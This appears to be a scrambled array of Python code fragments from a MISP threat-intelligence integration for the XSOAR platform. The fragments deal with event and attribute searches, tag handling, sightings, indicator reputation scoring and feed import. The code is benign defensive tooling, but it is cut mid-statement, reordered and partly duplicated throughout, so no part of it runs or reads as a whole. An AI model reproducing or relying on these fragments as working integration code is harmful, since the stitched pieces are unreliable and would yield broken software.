MISPEvent() event.distribution = MISP_DISTRIBUTION_TO_IDS[args.get('distribution')] threat_level_id_arg = args.get('threat_level_id') if","found_event_with_bad_threat_level_id(found_related_events) score, found_tag = get_score(attribute_tags_ids=attributes_tag_ids, event_tags_ids=event_tag_ids, malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level) formatted_response = replace_keys_from_misp_to_context_data({'Attribute': attributes_list})","PROXIES = handle_proxy() # type: ignore try: PYMISP = ExpandedPyMISP(url=MISP_URL, key=MISP_API_KEY, ssl=VERIFY, proxies=PROXIES)","\"event_id\") attributes_args.update({'id': event_id}) if event_id else None distribution = demisto_args.get('distribution') attributes_args.update({'distribution': MISP_DISTRIBUTION_TO_IDS[distribution]}) if","} THREAT_LEVELS_TO_ID = { 'High': 1, 'Medium': 2, 'Low': 3, 'Unknown': 4 }","None def get_new_misp_event_object(args): \"\"\" Create a new MISP event object and set the","add_object(event_id, obj) def add_domain_object(demisto_args: dict): \"\"\"Adds a domain object to MISP domain-ip description:","} sigh_obj = MISPSighting() sigh_obj.from_dict(**sighting_args) response = PYMISP.add_sighting(sigh_obj, att_id) if response.get('message'): raise DemistoException(f\"An","'distribution', 'sharing_group_id', 'comment', 'deleted', 'disable_correlation', 'first_seen', 'last_seen', 'value', 'Event', 'Object', 'Galaxy', 'Tag', 'decay_score',","CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def add_sighting(demisto_args: dict): \"\"\"Adds sighting to","attributes found in MISP for the given filters: {args}\") def build_events_search_response(response: Union[dict, requests.Response])","would like to add to tag_set_ids all the tags (event ones and the","with the given attribute args\"\"\" new_event = get_new_misp_event_object(demisto_args) new_event = PYMISP.add_event(new_event, True) if","include tag ids. If there is an id that exists in both sets,","if event.get('Object'): event['Object'] = [ { 'name': event_object.get('name'), 'uuid': event_object.get('uuid'), 'description': event_object.get('description'), 'id':","outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def remove_tag(demisto_args: dict, is_attribute=False): \"\"\" Function will remove tag","attribute's one. Otherwise it's event's. \"\"\" uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try:","data_dict.get('EventID') elif data_dict.get('ID'): return data_dict.get('ID') return data_dict.get('Event', {}).get('ID') def get_dbot_indicator(dbot_type, dbot_score, value): if","return_results(remove_tag(args)) elif command == 'misp-remove-tag-from-attribute': return_results(remove_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-add-events-from-feed': return_results(add_events_from_feed(demisto_args=args, use_ssl=VERIFY,","response.get('errors'): raise DemistoException(f'Error in `{demisto.command()}` command: {response}') except PyMISPError: raise DemistoException(\"Removing the required","not a valid MISP feed. error: {e}') def add_object(event_id: str, obj: MISPObject): \"\"\"Sending","In case the same tag appears in both Malicious tag ids and Suspicious","not specified') sighting_args = { 'id': attribute_id, 'uuid': attribute_uuid, 'type': SIGHTING_TYPE_NAME_TO_ID[sighting_type] } sigh_obj","response = PYMISP.add_object_reference(ref) for attribute in response.get('Object', {}).get('Attribute', []): convert_timestamp_to_readable(attribute, None) response['Object']['timestamp'] =","DemistoException(f'URL [{url}] is not a valid MISP feed. error: {e}') def add_object(event_id: str,","Returns: GenericObjectGenerator: object created in MISP Example: args should look like: [{'analysis_submitted_at': '2018-06-15T06:40:27'},","to attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response ) # event's","is_tag_list_valid(malicious_tag_ids) is_tag_list_valid(suspicious_tag_ids) if attributes_limit < 0: raise DemistoException('Attribute limit has to be a","found_tag_id, found_tag_name = \"\", \"\" for event in events_to_human_readable: # removing those fields","an attribute's tag. If the data is event's (is_event_level = true) we would","if response and response.get('errors'): raise DemistoException(f'Error in `{demisto.command()}` command: {response}') except PyMISPError: raise","is_tag_list_valid(tag_ids): \"\"\"Gets a list ot tag ids (each one is str), and verify","isinstance(obj_to_build, list): return [replace_keys_from_misp_to_context_data(item) for item in obj_to_build] if isinstance(obj_to_build, dict): return {","in MISP_ENTITIES_TO_CONTEXT_DATA else key): replace_keys_from_misp_to_context_data(value) for key, value in obj_to_build.items() } return obj_to_build","'Event_Name': event_name, 'Tag_Name': tag_name, 'Tag_ID': tag.get('ID')}) return related_events def get_event_id(data_dict): if data_dict.get('EventID'): return","will not post results to Demisto demisto_args (dict): Demisto args new_event (MISPEvent): When","url_parse.password else None url_obj.extend(convert_arg_to_misp_args(demisto_args, url_args)) g_object = build_generic_object('url', url_obj) return add_object(event_id, g_object) def","DBotScoreType.EMAIL, } DOMAIN_REGEX = ( r\"([a-z¡-\\uffff0-9](?:[a-z¡-\\uffff0-9-]{0,61}\" \"[a-z¡-\\uffff0-9])?(?:\\\\.(?!-)[a-z¡-\\uffff0-9-]{1,63}(?<!-))*\" \"\\\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css\" \"|html)$)(?:[a-z¡-\\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\\\.?$\" \"|localhost)\" ) MISP_SEARCH_ARGUMENTS =","tags. \"\"\" found_tag = None is_attribute_tag_malicious = any((found_tag := tag) in attribute_tags_ids for","'AND:', 'OR:' and 'NOT:' using ',' as delimiter for parameters and ';' as","dbot_type == \"IP\": return Common.IP(ip=value, dbot_score=dbot_score) if dbot_type == \"DOMAIN\": return Common.Domain(domain=value, dbot_score=dbot_score)","demisto_args.get('tag') try: PYMISP.tag(uuid, tag) # add the tag except PyMISPError: raise DemistoException(\"Adding the","requires one of {ip_object_args}') def handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids): \"\"\" Gets 2 sets which include","Common.Domain(domain=value, dbot_score=dbot_score) if dbot_type == \"EMAIL\": return Common.EMAIL(address=value, dbot_score=dbot_score) if dbot_type == \"URL\":","be malicious is stronger than recognised as suspicious). \"\"\" common_ids = set(malicious_tag_ids) &","MISP event ID {event_id}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=formatted_response, ) def add_file_object(demisto_args:","outputs_prefix=\"MISP.Event\", outputs_key_field=\"ID\" ) else: return CommandResults(readable_output=f\"No events found in MISP for the given","for i in range(len(attributes)): attributes[i] = {key: attributes[i].get(key) for key in ATTRIBUTE_FIELDS if","as e: return_error(e.message) except Exception as e: return_error(str(e)) if __name__ in ['__main__', '__builtin__',","required tag was failed. Please make sure the UUID exists.\") if is_attribute: response","tag.get('inherited', 0) # field doesn't exist when this is an attribute level, default","indicator_type = INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type] is_indicator_found = misp_response and misp_response.get('Attribute') if is_indicator_found: outputs, score, found_tag,","handle_proxy() # type: ignore try: PYMISP = ExpandedPyMISP(url=MISP_URL, key=MISP_API_KEY, ssl=VERIFY, proxies=PROXIES) except PyMISPError","limit_tag_output_to_id_and_name(attribute, False) attribute['Tag'] = limit_tag_output attributes_tag_ids.update(tag_ids) return found_related_events, attributes_tag_ids, event_tag_ids def convert_timestamp_to_readable(attribute, event):","readable_output=readable_output) else: dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=Common.DBotScore.NONE, reliability=reliability, malicious_description=\"No results were found in","and new_event.get('errors'): raise DemistoException(new_event.get('errors')) event_id = new_event.id add_attribute(event_id=event_id, internal=True, new_event=new_event, demisto_args=demisto_args) event =","if event_object and 'id' in event_object: events_ids.append({'ID': event_object['id']}) if limit == len(events_ids): break","formatted_events = replace_keys_from_misp_to_context_data(events) # type: ignore return formatted_events # type: ignore def event_to_human_readable_tag_list(event):","= None): \"\"\"Adding attribute to a given MISP event object This function can","build_tag_output(events[i]) build_object_output(events[i]) events[i]['timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('timestamp')) events[i]['publish_timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp')) formatted_events = replace_keys_from_misp_to_context_data(events) # type:","ips = argToList(demisto_args.get('ip')) for ip in ips: obj.add_attribute('ip', value=ip) obj.add_attribute('domain', value=domain) if text:","args = prepare_args_to_search('attributes') outputs_should_include_only_values = argToBoolean(demisto_args.get('compact', False)) include_correlations = argToBoolean(demisto_args.get('include_correlations', False)) page =","raise DemistoException('ID or UUID not specified') sighting_args = { 'id': attribute_id, 'uuid': attribute_uuid,","'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'}, {'heuristic_raw_score': 7.8385159793597}, {'heuristic_score': 96}, {'original_filename': 'juice.exe'}, {'id': '2e445ef5389d8b'}] # guardrails-disable-line \"\"\" misp_object","def add_generic_object_command(demisto_args: dict): event_id = demisto_args.get('event_id') template = demisto_args.get('template') attributes = demisto_args.get('attributes').replace(\"'\", '\"')","tag was failed. Please make sure the UUID exists.\") if is_attribute: response =","MISP_ANALYSIS_TO_IDS.get(analysis_arg) if analysis_arg in MISP_ANALYSIS_TO_IDS else analysis_arg event.info = args.get('info') if args.get('info') else","event['Object'] = [ { 'name': event_object.get('name'), 'uuid': event_object.get('uuid'), 'description': event_object.get('description'), 'id': event_object.get('id') }","= build_events_search_response(response) event_outputs_to_human_readable = event_to_human_readable(response_for_context) pagination_message = f\"Current page size: {limit}\\n\" if len(response_for_context)","url_parse.fragment else None url_obj.append({'port': url_parse.port}) if url_parse.port else None url_obj.append( {'credential': (url_parse.username, url_parse.password)})","hash length, enter file hash of format MD5, SHA-1 or SHA-256') if dbot_type",") else: return CommandResults(readable_output=f\"No attributes found in MISP for the given filters: {args}\")","else None distribution = demisto_args.get('distribution') attributes_args.update({'distribution': MISP_DISTRIBUTION_TO_IDS[distribution]}) if distribution else None if not","\"\"\" common_ids = set(malicious_tag_ids) & set(suspicious_tag_ids) suspicious_tag_ids = {tag_id for tag_id in suspicious_tag_ids","'false_positive': 1, 'expiration': 2 } SIGHTING_TYPE_ID_TO_NAME = { '0': 'sighting', '1': 'false_positive', '2':","} MISP_ANALYSIS_TO_IDS = { 'initial': 0, 'ongoing': 1, 'completed': 2 } MISP_DISTRIBUTION_TO_IDS =","def event_to_human_readable(response: dict): event_highlights = [] for event in response: event_tags = event_to_human_readable_tag_list(event)","'Tag', 'decay_score', 'Object', 'Feed', ] ATTRIBUTE_FIELDS = [ 'id', 'event_id', 'object_id', 'object_relation', 'category',","import copy from pymisp.tools import FileObject from CommonServerPython import * logging.getLogger(\"pymisp\").setLevel(logging.CRITICAL) def handle_connection_errors(error):","ID'] in bad_threat_level_ids: return True return False def get_score(attribute_tags_ids, event_tags_ids, malicious_tag_ids, suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level):","timestamp else \"\" def replace_keys_from_misp_to_context_data(obj_to_build: Union[dict, list, str]) -> Union[dict, list, str]: \"\"\"","event.get(\"info\"), \"Threat Level ID\": event.get('threat_level_id'), \"Event ID\": event.get(\"id\")} if event.get('Tag'): limit_tag_output, tag_ids =","is correct.') return_error(error) def warn(*args): \"\"\" Do nothing with warnings \"\"\" pass #","information about the attributes. \"\"\" response_object = copy.deepcopy(response) if isinstance(response_object, str): response_object =","'UUID', 'sharing_group_id': 'SharingGroupID', 'timestamp': 'LastChanged', 'to_ids': 'ToIDs', 'value': 'Value', 'event_id': 'EventID', 'ShadowAttribute': 'ShadowAttribute',","tags configured as suspicious nor malicious will be scored by their event's threat","args = dict_to_generic_object_format(args) obj = build_generic_object(template, args) return add_object(event_id, obj) except ValueError as","if 'to' in args_to_misp_format: args_to_misp_format['date_to'] = args_to_misp_format.pop('to') if 'event_id' in args_to_misp_format: args_to_misp_format['eventid'] =","and Name fields. In addition, returns set of the found tag ids. Some","{value}', attribute_highlights, removeNull=True) readable_output += tableToMarkdown('Related events', list(found_related_events.values())) return CommandResults(indicator=indicator, raw_response=misp_response, outputs=all_attributes, outputs_prefix='MISP.Attribute',","of another command (create event for example) Args: event_id (int): Event ID to","args_to_misp_format['tags'] = build_misp_complex_filter(args_to_misp_format['tags']) args_to_misp_format['controller'] = controller demisto.debug(f\"[MISP V3]: args for {demisto.command()} command are","scored 3 (i.e malicious). * have tags which configured as suspicious will be","'errors': err[1].get('errors') } for err in error] def dict_to_generic_object_format(args: dict) -> List[dict]: \"\"\"","tag in malicious_tag_ids) if is_event_tag_malicious: return Common.DBotScore.BAD, found_tag is_event_tag_suspicious = any((found_tag := tag)","return Common.File(dbot_score=dbot_score, sha256=value) if dbot_type == \"IP\": return Common.IP(ip=value, dbot_score=dbot_score) if dbot_type ==","sort the attributes list by the event ids as the greater event ids","'uuid', 'analysis', 'attribute_count', 'timestamp', 'distribution', 'proposal_email_lock', 'locked', 'publish_timestamp', 'sharing_group_id', 'disable_correlation', 'event_creator_email', 'Org', 'Orgc',","Execute a MISP search using the 'event' controller. \"\"\" args = prepare_args_to_search('events') page","tag_set_ids.add(tag_id) output.append({'ID': tag_id, 'Name': tag.get('name')}) return output, tag_set_ids def parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit):","= datetime.today() event.published = argToBoolean(args.get('published', 'False')) return event def create_event_command(demisto_args: dict): \"\"\"Creating event","to 1 it says that it is an event's tag. Otherwise (if it","build_generic_object(template_name: str, args: List[dict]) -> GenericObjectGenerator: \"\"\" Args: template_name: template name as described","search if found_tag is one of it's tags. If so, the event will","] # converting args to MISP's arguments types misp_attributes_args = convert_arg_to_misp_args(demisto_args, ip_object_args) ips","In such case, the score will be BAD if the threat level id","exist\" else: pagination_message += f\"Showing page {page}\" md = tableToMarkdown( f\"MISP search-events returned","sets, it will be removed from the suspicious tag ids set and will","= tableToMarkdown(f'Results found in MISP for value: {value}', attribute_highlights, removeNull=True) readable_output += tableToMarkdown('Related","= attribute.get('Event', {}) event_name = event.get('Info') scored_events.extend(search_events_with_scored_tag(event, found_tag, event_name)) scored_events.extend(search_events_with_scored_tag(attribute, found_tag, event_name)) return","arg_to_number(demisto_args.get('limit', 50), \"limit\", required=True) pagination_args_validation(page, limit) response = PYMISP.search(**args) if response: if outputs_should_include_only_values:","return_results(add_domain_object(args)) elif command == 'misp-add-url-object': return_results(add_url_object(args)) elif command == 'misp-add-ip-object': return_results(add_ip_object(args)) elif command","feeds for example: https://www.misp-project.org/feeds/ feed format must be MISP. \"\"\" headers = {'Accept':","96}, {'original_filename': 'juice.exe'}, {'id': '2e445ef5389d8b'}] # guardrails-disable-line \"\"\" misp_object = GenericObjectGenerator(template_name) misp_object.generate_attributes(args) return","event_object and 'id' in event_object: events_ids.append({'ID': event_object['id']}) if limit == len(events_ids): break human_readable","= args_to_misp_format.pop('last') if 'include_decay_score' in args_to_misp_format: args_to_misp_format['include_decay_score'] = 1 if demisto_args.get('include_decay_score') == 'true'","Feed', 'url': 'https://www.circl.lu/doc/misp/feed-osint', 'format': 'misp', 'input': 'network'}, 'Botvrij.eu': {'name': 'The Botvrij.eu Data', 'url':","else url if PREDEFINED_FEEDS.get(url): url = PREDEFINED_FEEDS[url].get('url') # type: ignore return url def","= args.get('info') if args.get('info') else 'Event from XSOAR' event.date = datetime.today() event.published =","return data_dict.get('Event', {}).get('ID') def get_dbot_indicator(dbot_type, dbot_score, value): if dbot_type == \"FILE\": hash_type =","in args_to_misp_format: args_to_misp_format['date_from'] = args_to_misp_format.pop('from') if 'to' in args_to_misp_format: args_to_misp_format['date_to'] = args_to_misp_format.pop('to') if","args for {demisto.command()} command are {args_to_misp_format}\") return args_to_misp_format def build_attributes_search_response(response: Union[dict, requests.Response], include_correlations=False)","If the data is event's (is_event_level = true) we would like to add","'to_ids': 'ToIDs', 'value': 'Value', 'event_id': 'EventID', 'ShadowAttribute': 'ShadowAttribute', 'disable_correlation': 'DisableCorrelation', 'distribution': 'Distribution', 'type':","data_dict.get('ID') return data_dict.get('Event', {}).get('ID') def get_dbot_indicator(dbot_type, dbot_score, value): if dbot_type == \"FILE\": hash_type","from MISP to the context output format. please note: attributes are excluded from","'include_feed_correlations') == 'true' else 0 args_to_misp_format.pop('include_feed_correlations') if 'limit' not in args_to_misp_format: args_to_misp_format['limit'] =","attribute_highlights def search_attributes(demisto_args: dict) -> CommandResults: \"\"\"Execute a MISP search over 'attributes'\"\"\" args","is not None: misp_query_params[operator_key] = match_operator.group(2).split(',') is_complex_search = True return is_complex_search def prepare_args_to_search(controller):","please change the given: '{tag}' id.\") except ValueError: raise DemistoException(f\"Tag id has to","'info': 'Info', 'published': 'Published', 'attribute_count': 'AttributeCount', 'proposal_email_lock': 'ProposalEmailLock', 'locked': 'Locked', 'publish_timestamp': 'PublishTimestamp', 'event_creator_email':","= attribute_uuid if attribute_type: attribute_instance.type = attribute_type if distribution: attribute_instance.distribution = MISP_DISTRIBUTION_TO_IDS[distribution] if","event_galaxies: return [galaxy.get('Name') for galaxy in event.get('Galaxy')] def event_to_human_readable_object_list(event): event_objects = event.get('Object', [])","ID: {event_id} has been successfully created.\\n\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(event), raw_response=event","of event or attribute. is_attribute (bool): if the given UUID is an attribute's","demisto_args.get('distribution') attributes_args.update({'distribution': MISP_DISTRIBUTION_TO_IDS[distribution]}) if distribution else None if not new_event: response = PYMISP.search(eventid=event_id,","output hash_format = get_hash_type(value) if hash_format == 'Unknown': raise DemistoException('Invalid hash length, enter","dict, use_ssl: bool, proxies: dict): \"\"\"Gets an OSINT feed from url and publishing","'0' tag_id = tag.get('id') if is_event_level: tag_set_ids.add(tag_id) else: # attribute level if not","def search_events(demisto_args: dict) -> CommandResults: \"\"\" Execute a MISP search using the 'event'","from an event object, meaning the tags are event's ones. Otherwise, the data","'and_parameters') is_complex_or_operator = is_misp_complex_search_helper(match_or, misp_query_params, 'or_parameters') is_complex_not_operator = is_misp_complex_search_helper(match_not, misp_query_params, 'not_parameters') is_complex_search =","= dict_to_generic_object_format(args) obj = build_generic_object(template, args) return add_object(event_id, obj) except ValueError as e:","attributes_list: return None attributes_list = sorted(attributes_list, key=lambda attribute_item: attribute_item['event_id'], reverse=True)[:attributes_limit] found_related_events, attributes_tag_ids, event_tag_ids","return is_complex_search def prepare_args_to_search(controller): demisto_args = demisto.args() args_to_misp_format = {arg: demisto_args[arg] for arg","the tags are event's ones. Otherwise, the data is attribute's (attribute tags). \"\"\"","bad_threat_level_ids: return True return False def get_score(attribute_tags_ids, event_tags_ids, malicious_tag_ids, suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level): \"\"\" Calculates","for attribute in response: event = attribute.get('Event', {}) attribute_tags = [tag.get('Name') for tag","= event.get('Info') scored_events.extend(search_events_with_scored_tag(event, found_tag, event_name)) scored_events.extend(search_events_with_scored_tag(attribute, found_tag, event_name)) return remove_duplicated_related_events(scored_events) def remove_duplicated_related_events(related_events): related_events_no_duplicates","argToBoolean(demisto_args.get('include_correlations', False)) page = arg_to_number(demisto_args.get('page', 1), \"page\", required=True) limit = arg_to_number(demisto_args.get('limit', 50), \"limit\",","list of attributes' values that match the search query when user set the"],"string":"[\n \"elif command == 'email': return_results(generic_reputation_command(args, 'email', 'EMAIL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command\",\n \"'Orgc': 'OwnerOrganization', 'orgc_uuid': 'OwnerOrganization.UUID', 'orgc_id': 'OwnerOrganization.ID', 'orgc_name': 'OwnerOrganization.Name', 'event_uuid': 'EventUUID', 'proposal_to_delete': 'ProposalToDelete', 'description':\",\n \"'ip', 'IP', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'domain': return_results( generic_reputation_command(args, 'domain',\",\n \"attribute (True) or event (False). \\\"\\\"\\\" uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try:\",\n \"returns the original input \\\"\\\"\\\" regex_and = r'(AND:)([^\\\\;]+)(;)?' regex_or = r'(OR:)([^\\\\;]+)(;)?' regex_not =\",\n \"suspicious_tag_ids = handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids) if command == 'test-module': return_results(test(malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, attributes_limit=attributes_limit)) elif command\",\n \"None url_obj.append({'fragment': url_parse.fragment}) if url_parse.fragment else None url_obj.append({'port': url_parse.port}) if url_parse.port else None\",\n \"a MISP search over 'attributes'\\\"\\\"\\\" args = prepare_args_to_search('attributes') outputs_should_include_only_values = argToBoolean(demisto_args.get('compact', False)) include_correlations\",\n \"{att_id}' return CommandResults(readable_output=human_readable) raise DemistoException(f\\\"An error was occurred: {json.dumps(response)}\\\") def test(malicious_tag_ids, suspicious_tag_ids, attributes_limit):\",\n \"in the integration configuration.') MISP_URL = params.get('url') VERIFY = not params.get('insecure') PROXIES =\",\n \"found_tag: event_id = get_event_id(object_data_dict) tag_name = tag.get('Name') related_events.append({'Event_ID': event_id, 'Event_Name': event_name, 'Tag_Name': tag_name,\",\n \"add_ip_object(demisto_args: dict): event_id = demisto_args.get('event_id') ip_object_args = [ 'dst_port', 'src_port', 'domain', 'hostname', 'ip_src',\",\n \"event_highlights.append({ 'Event ID': event.get('ID'), 'Event Tags': event_tags, 'Event Galaxies': event_galaxies, 'Event Objects': event_objects,\",\n \"* don't have any tags configured as suspicious nor malicious will be scored\",\n \"args_to_misp_format: args_to_misp_format['date_from'] = args_to_misp_format.pop('from') if 'to' in args_to_misp_format: args_to_misp_format['date_to'] = args_to_misp_format.pop('to') if 'event_id'\",\n \"def build_object_output(event): if event.get('Object'): event['Object'] = [ { 'name': event_object.get('name'), 'uuid': event_object.get('uuid'), 'description':\",\n \"depends on the called function\\\"\\\"\\\" if given_object.get('Galaxy'): given_object['Galaxy'] = [ { 'name': star.get('name'),\",\n \"suspicious_tag_ids = {tag_id for tag_id in suspicious_tag_ids if tag_id not in common_ids} return\",\n \"raise DemistoException(attribute_instance_response.get('errors')) human_readable = f\\\"## MISP update attribute\\\\nAttribute: {attribute_uuid} was updated.\\\\n\\\" attribute =\",\n \"demisto_args.get(arg)] def add_ip_object(demisto_args: dict): event_id = demisto_args.get('event_id') ip_object_args = [ 'dst_port', 'src_port', 'domain',\",\n \"args: arguments to create the generic object Returns: GenericObjectGenerator: object created in MISP\",\n \"MISP for value: {value}\\\") def get_events_related_to_scored_tag(all_attributes, found_tag): \\\"\\\"\\\" This function searches for all\",\n \"'Event ID': event.get('ID'), 'Event Tags': event_tags, 'Event Galaxies': event_galaxies, 'Event Objects': event_objects, 'Publish\",\n \"Common.File(dbot_score=dbot_score, md5=value) if hash_type == 'sha1': return Common.File(dbot_score=dbot_score, sha1=value) if hash_type == 'sha256':\",\n \"args_to_misp_format.pop('from') if 'to' in args_to_misp_format: args_to_misp_format['date_to'] = args_to_misp_format.pop('to') if 'event_id' in args_to_misp_format: args_to_misp_format['eventid']\",\n \"events[i]['timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('timestamp')) events[i]['publish_timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp')) formatted_events = replace_keys_from_misp_to_context_data(events) # type: ignore return\",\n \"been added to MISP event ID {event_id}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=formatted_response,\",\n \"Value': outputs[0].get('Value'), 'Attribute Category': outputs[0].get('Category'), 'Timestamp': outputs[0].get('Timestamp'), 'Events with the scored tag': events_to_human_readable,\",\n \"failed. Please make sure the UUID and tag exist.\\\") if is_attribute: response =\",\n \"'AttributeCount', 'proposal_email_lock': 'ProposalEmailLock', 'locked': 'Locked', 'publish_timestamp': 'PublishTimestamp', 'event_creator_email': 'EventCreatorEmail', 'name': 'Name', 'analysis': 'Analysis',\",\n \"def build_tag_output(given_object): \\\"\\\"\\\"given_object is attribute or event, depends on the called function\\\"\\\"\\\" if\",\n \"== \\\"FILE\\\": hash_type = get_hash_type(value) if hash_type == 'md5': return Common.File(dbot_score=dbot_score, md5=value) if\",\n \"big. User can use the command search-attributes in order to get the information\",\n \"{}).get('ID') def get_dbot_indicator(dbot_type, dbot_score, value): if dbot_type == \\\"FILE\\\": hash_type = get_hash_type(value) if\",\n \"= misp_convert_timestamp_to_date_string(attribute.get('timestamp')) if event: if event.get('timestamp'): attribute['Event']['timestamp'] = misp_convert_timestamp_to_date_string(event.get('timestamp')) if event.get('publish_timestamp'): attribute['Event']['publish_timestamp'] =\",\n \"Some tags have a field called inherited. When it is set to 1\",\n \"outputs_prefix='MISP.Attribute', outputs_key_field='ID', readable_output=readable_output) else: dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=Common.DBotScore.NONE, reliability=reliability, malicious_description=\\\"No results were\",\n \"response_object = copy.deepcopy(response) if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) events = [event.get('Event') for\",\n \"if analysis_arg in MISP_ANALYSIS_TO_IDS else analysis_arg event.info = args.get('info') if args.get('info') else 'Event\",\n \"to connect to MISP because of a SSLCertVerificationError, ' 'Please try to use\",\n \"and returning outputs Args: obj: object to add to MISP event_id: ID of\",\n \"created for misp to perform complex query or if no complex query found\",\n \"output, tag_set_ids def parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit): \\\"\\\"\\\" After getting all the attributes\",\n \"the user wants to get them back ATTRIBUTE_FIELDS.append('RelatedAttribute') if isinstance(response_object, str): response_object =\",\n \"SHA-256') if dbot_type == 'IP': if not is_ip_valid(value): raise DemistoException(f\\\"Error: The given IP\",\n \"indicator to be scored as malicious or suspicious. Args: all_attributes (dict): The parsed\",\n \"the same tag appears in both Malicious tag ids and Suspicious tag ids\",\n \"found if is_attribute_in_event_with_bad_threat_level: return Common.DBotScore.BAD, None return Common.DBotScore.NONE, None def get_new_misp_event_object(args): \\\"\\\"\\\" Create\",\n \"args_names): return [{arg.replace('_', '-'): demisto_args.get(arg)} for arg in args_names if demisto_args.get(arg)] def add_ip_object(demisto_args:\",\n \"to MISP attribute \\\"\\\"\\\" attribute_id = demisto_args.get('id') attribute_uuid = demisto_args.get('uuid') sighting_type = demisto_args['type']\",\n \"'Event Info': event.get('Info'), 'Event Org ID': event.get('OrganizationID'), 'Event Orgc ID': event.get('OwnerOrganization.ID'), 'Event Distribution':\",\n \"from pymisp.tools import GenericObjectGenerator import copy from pymisp.tools import FileObject from CommonServerPython import\",\n \"limit < 0: raise DemistoException(\\\"limit should be zero or a positive number\\\") def\",\n \"2 sets which include tag ids. If there is an id that exists\",\n \"= [event.get('Event') for event in response_object] for i in range(0, len(events)): # Filter\",\n \"= argToList(params.get('suspicious_tag_ids')) reliability = params.get('integrationReliability', 'B - Usually reliable') if DBotScoreReliability.is_valid_type(reliability): reliability =\",\n \"given filters: {args}\\\") def build_events_search_response(response: Union[dict, requests.Response]) -> dict: \\\"\\\"\\\" Convert the response\",\n \"list): return [replace_keys_from_misp_to_context_data(item) for item in obj_to_build] if isinstance(obj_to_build, dict): return { (MISP_ENTITIES_TO_CONTEXT_DATA[key]\",\n \"re.search(regex_and, demisto_query, re.MULTILINE) match_or = re.search(regex_or, demisto_query, re.MULTILINE) match_not = re.search(regex_not, demisto_query, re.MULTILINE)\",\n \"The given url: {value} is not valid\\\") if dbot_type == 'EMAIL': if not\",\n \"if 'tags' in args_to_misp_format: args_to_misp_format['tags'] = build_misp_complex_filter(args_to_misp_format['tags']) args_to_misp_format['controller'] = controller demisto.debug(f\\\"[MISP V3]: args\",\n \"tags and event tags). Args: value (str): The indicator value (an IP address,\",\n \"of responses from error section Returns: List[Dict[str, any]]: filtered response \\\"\\\"\\\" return [{\",\n \"found_tag, event_name)) return remove_duplicated_related_events(scored_events) def remove_duplicated_related_events(related_events): related_events_no_duplicates = [] for i in range(len(related_events)):\",\n \"\\\"\\\"\\\"Gets an OSINT feed from url and publishing them to MISP urls with\",\n \"if the given UUID is an attribute's one. Otherwise it's event's. \\\"\\\"\\\" uuid\",\n \"= misp_convert_timestamp_to_date_string(response.get('Object', {}).get('timestamp')) formatted_response = replace_keys_from_misp_to_context_data(response) formatted_response.update({\\\"ID\\\": event_id}) human_readable = f'Object has been\",\n \"\\\"\\\"\\\" Convert the response of attribute search returned from MISP to the context\",\n \"DemistoException(f\\\"Error: The given url: {value} is not valid\\\") if dbot_type == 'EMAIL': if\",\n \"'expiration': 2 } SIGHTING_TYPE_ID_TO_NAME = { '0': 'sighting', '1': 'false_positive', '2': 'expiration' }\",\n \"err in error] def dict_to_generic_object_format(args: dict) -> List[dict]: \\\"\\\"\\\" Converts args dict into\",\n \"tags are event's ones. Otherwise, the data is attribute's (attribute tags). \\\"\\\"\\\" output\",\n \"\\\"page\\\", required=True) limit = arg_to_number(demisto_args.get('limit', 50), \\\"limit\\\", required=True) pagination_args_validation(page, limit) response = PYMISP.search(**args)\",\n \"'URL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'ip': return_results( generic_reputation_command(args, 'ip', 'IP',\",\n \"is_attribute_in_event_with_bad_threat_level: return Common.DBotScore.BAD, None return Common.DBotScore.NONE, None def get_new_misp_event_object(args): \\\"\\\"\\\" Create a new\",\n \"'SharingGroupID', 'timestamp': 'LastChanged', 'to_ids': 'ToIDs', 'value': 'Value', 'event_id': 'EventID', 'ShadowAttribute': 'ShadowAttribute', 'disable_correlation': 'DisableCorrelation',\",\n \"tag': events_to_human_readable, 'Scored Tag ID': found_tag_id, 'Scored Tag Name': found_tag_name, } def limit_tag_output_to_id_and_name(attribute_dict,\",\n \"'Value', 'event_id': 'EventID', 'ShadowAttribute': 'ShadowAttribute', 'disable_correlation': 'DisableCorrelation', 'distribution': 'Distribution', 'type': 'Type', 'id': 'ID',\",\n \"THREAT_LEVELS_TO_ID[threat_level_id_arg] analysis_arg = args.get('analysis') event.analysis = 